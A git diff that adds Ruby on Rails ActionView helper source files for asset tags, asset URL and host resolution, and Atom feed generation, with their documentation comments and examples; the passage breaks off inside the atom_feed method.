+    #   # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+    module AssetTagHelper
+      extend ActiveSupport::Concern
+
+      include AssetUrlHelper
+      include TagHelper
+
+      # Returns an HTML script tag for each of the +sources+ provided.
+      #
+      # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
+      # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
+      # root. Relative paths are idiomatic, use absolute paths only when needed.
+      #
+      # When passing paths, the ".js" extension is optional.  If you do not want ".js"
+      # appended to the path <tt>extname: false</tt> can be set on the options.
+      #
+      # You can modify the HTML attributes of the script tag by passing a hash as the
+      # last argument.
+      #
+      # When the Asset Pipeline is enabled, you can pass the name of your manifest as
+      # source, and include other JavaScript or CoffeeScript files inside the manifest.
+      #
+      #   javascript_include_tag "xmlhr"
+      #   # => <script src="/assets/xmlhr.js?1284139606"></script>
+      #
+      #   javascript_include_tag "template.jst", extname: false
+      #   # => <script src="/assets/template.jst?1284139606"></script>
+      #
+      #   javascript_include_tag "xmlhr.js"
+      #   # => <script src="/assets/xmlhr.js?1284139606"></script>
+      #
+      #   javascript_include_tag "common.javascript", "/elsewhere/cools"
+      #   # => <script src="/assets/common.javascript?1284139606"></script>
+      #   #    <script src="/elsewhere/cools.js?1423139606"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr"
+      #   # => <script src="http://www.example.com/xmlhr"></script>
+      #
+      #   javascript_include_tag "http://www.example.com/xmlhr.js"
+      #   # => <script src="http://www.example.com/xmlhr.js"></script>
+      def javascript_include_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!('protocol', 'extname').symbolize_keys
+        sources.uniq.map { |source|
+          tag_options = {
+            "src" => path_to_javascript(source, path_options)
+          }.merge!(options)
+          content_tag(:script, "", tag_options)
+        }.join("\n").html_safe
+      end
+
+      # Returns a stylesheet link tag for the sources specified as arguments. If
+      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+      # You can modify the link attributes by passing a hash as the last argument.
+      # For historical reasons, the 'media' attribute will always be present and defaults
+      # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
+      # apply to all media types.
+      #
+      #   stylesheet_link_tag "style"
+      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style.css"
+      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "http://www.example.com/style.css"
+      #   # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style", media: "all"
+      #   # => <link href="/assets/style.css" media="all" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "style", media: "print"
+      #   # => <link href="/assets/style.css" media="print" rel="stylesheet" />
+      #
+      #   stylesheet_link_tag "random.styles", "/css/stylish"
+      #   # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
+      #   #    <link href="/css/stylish.css" media="screen" rel="stylesheet" />
+      def stylesheet_link_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!('protocol').symbolize_keys
+
+        sources.uniq.map { |source|
+          tag_options = {
+            "rel" => "stylesheet",
+            "media" => "screen",
+            "href" => path_to_stylesheet(source, path_options)
+          }.merge!(options)
+          tag(:link, tag_options)
+        }.join("\n").html_safe
+      end
+
+      # Returns a link tag that browsers and feed readers can use to auto-detect
+      # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
+      # <tt>:atom</tt>. Control the link options in url_for format using the
+      # +url_options+. You can modify the LINK tag itself in +tag_options+.
+      #
+      # ==== Options
+      #
+      # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
+      # * <tt>:type</tt>  - Override the auto-generated mime type
+      # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
+      #
+      # ==== Examples
+      #
+      #   auto_discovery_link_tag
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:atom)
+      #   # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+      #   auto_discovery_link_tag(:rss, {action: "feed"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+      #   auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+      #   auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+      #   auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
+      #   # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+        if !(type == :rss || type == :atom) && tag_options[:type].blank?
+          raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss or :atom.")
+        end
+
+        tag(
+          "link",
+          "rel"   => tag_options[:rel] || "alternate",
+          "type"  => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
+          "title" => tag_options[:title] || type.to_s.upcase,
+          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
+        )
+      end
+
+      # Returns a link loading a favicon file. You may specify a different file
+      # in the first argument. The helper accepts an additional options hash where
+      # you can override "rel" and "type".
+      #
+      # ==== Options
+      #
+      # * <tt>:rel</tt>   - Specify the relation of this link, defaults to 'shortcut icon'
+      # * <tt>:type</tt>  - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
+      #
+      # ==== Examples
+      #
+      #   favicon_link_tag 'myicon.ico'
+      #   # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+      #
+      # Mobile Safari looks for a different <link> tag, pointing to an image that
+      # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
+      # The following call would generate such a tag:
+      #
+      #   favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+      #   # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
+      def favicon_link_tag(source='favicon.ico', options={})
+        tag('link', {
+          :rel  => 'shortcut icon',
+          :type => 'image/vnd.microsoft.icon',
+          :href => path_to_image(source)
+        }.merge!(options.symbolize_keys))
+      end
+
+      # Returns an HTML image tag for the +source+. The +source+ can be a full
+      # path or a file.
+      #
+      # ==== Options
+      #
+      # You can add HTML attributes using the +options+. The +options+ supports
+      # two additional keys for convenience and conformance:
+      #
+      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
+      #   +source+ is used (capitalized and without the extension)
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
+      #
+      # ==== Examples
+      #
+      #   image_tag("icon")
+      #   # => <img alt="Icon" src="/assets/icon" />
+      #   image_tag("icon.png")
+      #   # => <img alt="Icon" src="/assets/icon.png" />
+      #   image_tag("icon.png", size: "16x10", alt: "Edit Entry")
+      #   # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+      #   image_tag("/icons/icon.gif", size: "16")
+      #   # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+      #   image_tag("/icons/icon.gif", height: '32', width: '32')
+      #   # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+      #   image_tag("/icons/icon.gif", class: "menu_icon")
+      #   # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+      def image_tag(source, options={})
+        options = options.symbolize_keys
+
+        src = options[:src] = path_to_image(source)
+
+        unless src =~ /^(?:cid|data):/ || src.blank?
+          options[:alt] = options.fetch(:alt){ image_alt(src) }
+        end
+
+        options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+        tag("img", options)
+      end
+
+      # Returns a string suitable for an html image tag alt attribute.
+      # The +src+ argument is meant to be an image file path.
+      # The method removes the basename of the file path and the digest,
+      # if any. It also removes hyphens and underscores from file names and
+      # replaces them with spaces, returning a space-separated, titleized
+      # string.
+      #
+      # ==== Examples
+      #
+      #   image_alt('rails.png')
+      #   # => Rails
+      #
+      #   image_alt('hyphenated-file-name.png')
+      #   # => Hyphenated file name
+      #
+      #   image_alt('underscored_file_name.png')
+      #   # => Underscored file name
+      def image_alt(src)
+        File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
+      end
+
+      # Returns an html video tag for the +sources+. If +sources+ is a string,
+      # a single video tag will be returned. If +sources+ is an array, a video
+      # tag with nested source tags for each source will be returned. The
+      # +sources+ can be full paths or files that exists in your public videos
+      # directory.
+      #
+      # ==== Options
+      # You can add HTML attributes using the +options+. The +options+ supports
+      # two additional keys for convenience and conformance:
+      #
+      # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
+      #   before the video loads. The path is calculated like the +src+ of +image_tag+.
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
+      #
+      # ==== Examples
+      #
+      #   video_tag("trailer")
+      #   # => <video src="/videos/trailer" />
+      #   video_tag("trailer.ogg")
+      #   # => <video src="/videos/trailer.ogg" />
+      #   video_tag("trailer.ogg", controls: true, autobuffer: true)
+      #   # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
+      #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
+      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
+      #   video_tag("/trailers/hd.avi", size: "16x16")
+      #   # => <video src="/trailers/hd.avi" width="16" height="16" />
+      #   video_tag("/trailers/hd.avi", size: "16")
+      #   # => <video height="16" src="/trailers/hd.avi" width="16" />
+      #   video_tag("/trailers/hd.avi", height: '32', width: '32')
+      #   # => <video height="32" src="/trailers/hd.avi" width="32" />
+      #   video_tag("trailer.ogg", "trailer.flv")
+      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #   video_tag(["trailer.ogg", "trailer.flv"])
+      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #   video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
+      #   # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      def video_tag(*sources)
+        multiple_sources_tag('video', sources) do |options|
+          options[:poster] = path_to_image(options[:poster]) if options[:poster]
+          options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+        end
+      end
+
+      # Returns an HTML audio tag for the +source+.
+      # The +source+ can be full path or file that exists in
+      # your public audios directory.
+      #
+      #   audio_tag("sound")
+      #   # => <audio src="/audios/sound" />
+      #   audio_tag("sound.wav")
+      #   # => <audio src="/audios/sound.wav" />
+      #   audio_tag("sound.wav", autoplay: true, controls: true)
+      #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
+      #   audio_tag("sound.wav", "sound.mid")
+      #   # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+      def audio_tag(*sources)
+        multiple_sources_tag('audio', sources)
+      end
+
+      private
+        def multiple_sources_tag(type, sources)
+          options = sources.extract_options!.symbolize_keys
+          sources.flatten!
+
+          yield options if block_given?
+
+          if sources.size > 1
+            content_tag(type, options) do
+              safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
+            end
+          else
+            options[:src] = send("path_to_#{type}", sources.first)
+            content_tag(type, nil, options)
+          end
+        end
+
+        def extract_dimensions(size)
+          if size =~ %r{\A\d+x\d+\z}
+            size.split('x')
+          elsif size =~ %r{\A\d+\z}
+            [size, size]
+          end
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
new file mode 100644
index 0000000..41997a8
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -0,0 +1,355 @@
+require 'zlib'
+
+module ActionView
+  # = Action View Asset URL Helpers
+  module Helpers
+    # This module provides methods for generating asset paths and
+    # urls.
+    #
+    #   image_path("rails.png")
+    #   # => "/assets/rails.png"
+    #
+    #   image_url("rails.png")
+    #   # => "http://www.example.com/assets/rails.png"
+    #
+    # === Using asset hosts
+    #
+    # By default, Rails links to these assets on the current host in the public
+    # folder, but you can direct Rails to link to assets from a dedicated asset
+    # server by setting <tt>ActionController::Base.asset_host</tt> in the application
+    # configuration, typically in <tt>config/environments/production.rb</tt>.
+    # For example, you'd define <tt>assets.example.com</tt> to be your asset
+    # host this way, inside the <tt>configure</tt> block of your environment-specific
+    # configuration files or <tt>config/application.rb</tt>:
+    #
+    #   config.action_controller.asset_host = "assets.example.com"
+    #
+    # Helpers take that into account:
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # Browsers typically open at most two simultaneous connections to a single
+    # host, which means your assets often have to wait for other assets to finish
+    # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+    # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+    # present Rails distributes asset requests among the corresponding four hosts
+    # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+    # will open eight simultaneous connections rather than two.
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # To do this, you can either setup four actual hosts, or you can use wildcard
+    # DNS to CNAME the wildcard to a single asset host. You can read more about
+    # setting up your DNS CNAME records from your ISP.
+    #
+    # Note: This is purely a browser performance optimization and is not meant
+    # for server load balancing. See http://www.die.net/musings/page_load_time/
+    # for background.
+    #
+    # Alternatively, you can exert more control over the asset host by setting
+    # +asset_host+ to a proc like this:
+    #
+    #   ActionController::Base.asset_host = Proc.new { |source|
+    #     "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+    #   }
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # The example above generates "http://assets1.example.com" and
+    # "http://assets2.example.com". This option is useful for example if
+    # you need fewer/more than four hosts, custom host names, etc.
+    #
+    # As you see the proc takes a +source+ parameter. That's a string with the
+    # absolute path of the asset, for example "/assets/rails.png".
+    #
+    #    ActionController::Base.asset_host = Proc.new { |source|
+    #      if source.ends_with?('.css')
+    #        "http://stylesheets.example.com"
+    #      else
+    #        "http://assets.example.com"
+    #      end
+    #    }
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # Alternatively you may ask for a second parameter +request+. That one is
+    # particularly useful for serving assets from an SSL-protected page. The
+    # example proc below disables asset hosting for HTTPS connections, while
+    # still sending assets for plain HTTP requests from asset hosts. If you don't
+    # have SSL certificates for each of the asset hosts this technique allows you
+    # to avoid warnings in the client about mixed media.
+    #
+    #   config.action_controller.asset_host = Proc.new { |source, request|
+    #     if request.ssl?
+    #       "#{request.protocol}#{request.host_with_port}"
+    #     else
+    #       "#{request.protocol}assets.example.com"
+    #     end
+    #   }
+    #
+    # You can also implement a custom asset host object that responds to +call+
+    # and takes either one or two parameters just like the proc.
+    #
+    #   config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+    #     "http://asset%d.example.com", "https://asset1.example.com"
+    #   )
+    #
+    module AssetUrlHelper
+      URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}i
+
+      # Computes the path to asset in public directory. If :type
+      # options is set, a file extension will be appended and scoped
+      # to the corresponding public directory.
+      #
+      # All other asset *_path helpers delegate through this method.
+      #
+      #   asset_path "application.js"                     # => /application.js
+      #   asset_path "application", type: :javascript     # => /javascripts/application.js
+      #   asset_path "application", type: :stylesheet     # => /stylesheets/application.css
+      #   asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+      def asset_path(source, options = {})
+        source = source.to_s
+        return "" unless source.present?
+        return source if source =~ URI_REGEXP
+
+        tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '')
+
+        if extname = compute_asset_extname(source, options)
+          source = "#{source}#{extname}"
+        end
+
+        if source[0] != ?/
+          source = compute_asset_path(source, options)
+        end
+
+        relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
+        if relative_url_root
+          source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
+        end
+
+        if host = compute_asset_host(source, options)
+          source = File.join(host, source)
+        end
+
+        "#{source}#{tail}"
+      end
+      alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with an asset_path named route
+
+      # Computes the full URL to an asset in the public directory. This
+      # will use +asset_path+ internally, so most of their behaviors
+      # will be the same.
+      def asset_url(source, options = {})
+        path_to_asset(source, options.merge(:protocol => :request))
+      end
+      alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
+
+      ASSET_EXTENSIONS = {
+        javascript: '.js',
+        stylesheet: '.css'
+      }
+
+      # Compute extname to append to asset path. Returns nil if
+      # nothing should be added.
+      def compute_asset_extname(source, options = {})
+        return if options[:extname] == false
+        extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
+        extname if extname && File.extname(source) != extname
+      end
+
+      # Maps asset types to public directory.
+      ASSET_PUBLIC_DIRECTORIES = {
+        audio:      '/audios',
+        font:       '/fonts',
+        image:      '/images',
+        javascript: '/javascripts',
+        stylesheet: '/stylesheets',
+        video:      '/videos'
+      }
+
+      # Computes asset path to public directory. Plugins and
+      # extensions can override this method to point to custom assets
+      # or generate digested paths or query strings.
+      def compute_asset_path(source, options = {})
+        dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
+        File.join(dir, source)
+      end
+
+      # Pick an asset host for this source. Returns +nil+ if no host is set,
+      # the host if no wildcard is set, the host interpolated with the
+      # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+      # or the value returned from invoking call on an object responding to call
+      # (proc or otherwise).
+      def compute_asset_host(source = "", options = {})
+        request = self.request if respond_to?(:request)
+        host = config.asset_host if defined? config.asset_host
+        host ||= request.base_url if request && options[:protocol] == :request
+
+        if host.respond_to?(:call)
+          arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
+          args = [source]
+          args << request if request && (arity > 1 || arity < 0)
+          host = host.call(*args)
+        elsif host =~ /%d/
+          host = host % (Zlib.crc32(source) % 4)
+        end
+
+        return unless host
+
+        if host =~ URI_REGEXP
+          host
+        else
+          protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
+          case protocol
+          when :relative
+            "//#{host}"
+          when :request
+            "#{request.protocol}#{host}"
+          else
+            "#{protocol}://#{host}"
+          end
+        end
+      end
+
+      # Computes the path to a javascript asset in the public javascripts directory.
+      # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
+      # Full paths from the document root will be passed through.
+      # Used internally by javascript_include_tag to build the script path.
+      #
+      #   javascript_path "xmlhr"                              # => /javascripts/xmlhr.js
+      #   javascript_path "dir/xmlhr.js"                       # => /javascripts/dir/xmlhr.js
+      #   javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
+      #   javascript_path "http://www.example.com/js/xmlhr"    # => http://www.example.com/js/xmlhr
+      #   javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+      def javascript_path(source, options = {})
+        path_to_asset(source, {type: :javascript}.merge!(options))
+      end
+      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
+
+      # Computes the full URL to a javascript asset in the public javascripts directory.
+      # This will use +javascript_path+ internally, so most of their behaviors will be the same.
+      def javascript_url(source, options = {})
+        url_to_asset(source, {type: :javascript}.merge!(options))
+      end
+      alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
+
+      # Computes the path to a stylesheet asset in the public stylesheets directory.
+      # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
+      # Full paths from the document root will be passed through.
+      # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
+      #
+      #   stylesheet_path "style"                                  # => /stylesheets/style.css
+      #   stylesheet_path "dir/style.css"                          # => /stylesheets/dir/style.css
+      #   stylesheet_path "/dir/style.css"                         # => /dir/style.css
+      #   stylesheet_path "http://www.example.com/css/style"       # => http://www.example.com/css/style
+      #   stylesheet_path "http://www.example.com/css/style.css"   # => http://www.example.com/css/style.css
+      def stylesheet_path(source, options = {})
+        path_to_asset(source, {type: :stylesheet}.merge!(options))
+      end
+      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
+
+      # Computes the full URL to a stylesheet asset in the public stylesheets directory.
+      # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
+      def stylesheet_url(source, options = {})
+        url_to_asset(source, {type: :stylesheet}.merge!(options))
+      end
+      alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
+
+      # Computes the path to an image asset.
+      # Full paths from the document root will be passed through.
+      # Used internally by +image_tag+ to build the image path:
+      #
+      #   image_path("edit")                                         # => "/assets/edit"
+      #   image_path("edit.png")                                     # => "/assets/edit.png"
+      #   image_path("icons/edit.png")                               # => "/assets/icons/edit.png"
+      #   image_path("/icons/edit.png")                              # => "/icons/edit.png"
+      #   image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
+      #
+      # If you have images as application resources this method may conflict with their named routes.
+      # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
+      # plugin authors are encouraged to do so.
+      def image_path(source, options = {})
+        path_to_asset(source, {type: :image}.merge!(options))
+      end
+      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+      # Computes the full URL to an image asset.
+      # This will use +image_path+ internally, so most of their behaviors will be the same.
+      def image_url(source, options = {})
+        url_to_asset(source, {type: :image}.merge!(options))
+      end
+      alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
+
+      # Computes the path to a video asset in the public videos directory.
+      # Full paths from the document root will be passed through.
+      # Used internally by +video_tag+ to build the video path.
+      #
+      #   video_path("hd")                                            # => /videos/hd
+      #   video_path("hd.avi")                                        # => /videos/hd.avi
+      #   video_path("trailers/hd.avi")                               # => /videos/trailers/hd.avi
+      #   video_path("/trailers/hd.avi")                              # => /trailers/hd.avi
+      #   video_path("http://www.example.com/vid/hd.avi")             # => http://www.example.com/vid/hd.avi
+      def video_path(source, options = {})
+        path_to_asset(source, {type: :video}.merge!(options))
+      end
+      alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
+
+      # Computes the full URL to a video asset in the public videos directory.
+      # This will use +video_path+ internally, so most of their behaviors will be the same.
+      def video_url(source, options = {})
+        url_to_asset(source, {type: :video}.merge!(options))
+      end
+      alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
+
+      # Computes the path to an audio asset in the public audios directory.
+      # Full paths from the document root will be passed through.
+      # Used internally by +audio_tag+ to build the audio path.
+      #
+      #   audio_path("horse")                                            # => /audios/horse
+      #   audio_path("horse.wav")                                        # => /audios/horse.wav
+      #   audio_path("sounds/horse.wav")                                 # => /audios/sounds/horse.wav
+      #   audio_path("/sounds/horse.wav")                                # => /sounds/horse.wav
+      #   audio_path("http://www.example.com/sounds/horse.wav")          # => http://www.example.com/sounds/horse.wav
+      def audio_path(source, options = {})
+        path_to_asset(source, {type: :audio}.merge!(options))
+      end
+      alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
+
+      # Computes the full URL to an audio asset in the public audios directory.
+      # This will use +audio_path+ internally, so most of their behaviors will be the same.
+      def audio_url(source, options = {})
+        url_to_asset(source, {type: :audio}.merge!(options))
+      end
+      alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
+
+      # Computes the path to a font asset.
+      # Full paths from the document root will be passed through.
+      #
+      #   font_path("font")                                           # => /assets/font
+      #   font_path("font.ttf")                                       # => /assets/font.ttf
+      #   font_path("dir/font.ttf")                                   # => /assets/dir/font.ttf
+      #   font_path("/dir/font.ttf")                                  # => /dir/font.ttf
+      #   font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
+      def font_path(source, options = {})
+        path_to_asset(source, {type: :font}.merge!(options))
+      end
+      alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
+
+      # Computes the full URL to a font asset.
+      # This will use +font_path+ internally, so most of their behaviors will be the same.
+      def font_url(source, options = {})
+        url_to_asset(source, {type: :font}.merge!(options))
+      end
+      alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
new file mode 100644
index 0000000..af70a42
--- /dev/null
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -0,0 +1,203 @@
+require 'set'
+
+module ActionView
+  # = Action View Atom Feed Helpers
+  module Helpers
+    module AtomFeedHelper
+      # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
+      # template languages).
+      #
+      # Full usage example:
+      #
+      #   config/routes.rb:
+      #     Basecamp::Application.routes.draw do
+      #       resources :posts
+      #       root to: "posts#index"
+      #     end
+      #
+      #   app/controllers/posts_controller.rb:
+      #     class PostsController < ApplicationController::Base
+      #       # GET /posts.html
+      #       # GET /posts.atom
+      #       def index
+      #         @posts = Post.all
+      #
+      #         respond_to do |format|
+      #           format.html
+      #           format.atom
+      #         end
+      #       end
+      #     end
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated(@posts[0].created_at) if @posts.length > 0
+      #
+      #       @posts.each do |post|
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, type: 'html')
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The options for atom_feed are:
+      #
+      # * <tt>:language</tt>: Defaults to "en-US".
+      # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
+      # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+      # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
+      # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+      #   created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+      #   2005 is used (as an "I don't care" value).
+      # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+      #
+      # Other namespaces can be added to the root element:
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+      #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated((@posts.first.created_at))
+      #       feed.tag!('openSearch:totalResults', 10)
+      #
+      #       @posts.each do |post|
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, type: 'html')
+      #           entry.tag!('app:edited', Time.now)
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The Atom spec defines five elements (content rights title subtitle
+      # summary) which may directly contain xhtml content if type: 'xhtml'
+      # is specified as an attribute. If so, this helper will take care of
+      # the enclosing div and xhtml namespace declaration. Example usage:
+      #
+      #    entry.summary type: 'xhtml' do |xhtml|
+      #      xhtml.p pluralize(order.line_items.count, "line item")
+      #      xhtml.p "Shipped to #{order.address}"
+      #      xhtml.p "Paid by #{order.pay_type}"
+      #    end
+      #
+      #
+      # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
+      # an +AtomBuilder+ instance.
+      def atom_feed(options = {}, &block)
+        if options[:schema_date]
+          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+        else
+          options[:schema_date] = "2005" # The Atom spec copyright date
+        end
+
+        xml = options.delete(:xml) || eval("xml", block.binding)
+        xml.instruct!
+        if options[:instruct]
+          options[:instruct].each do |target,attrs|
+            if attrs.respond_to?(:keys)
+              xml.instruct!(target, attrs)
+            elsif attrs.respond_to?(:each)
+              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+            end
+          end
+        end
+
+        feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
+        feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
+
+        xml.feed(feed_opts) do
+          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
+          xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
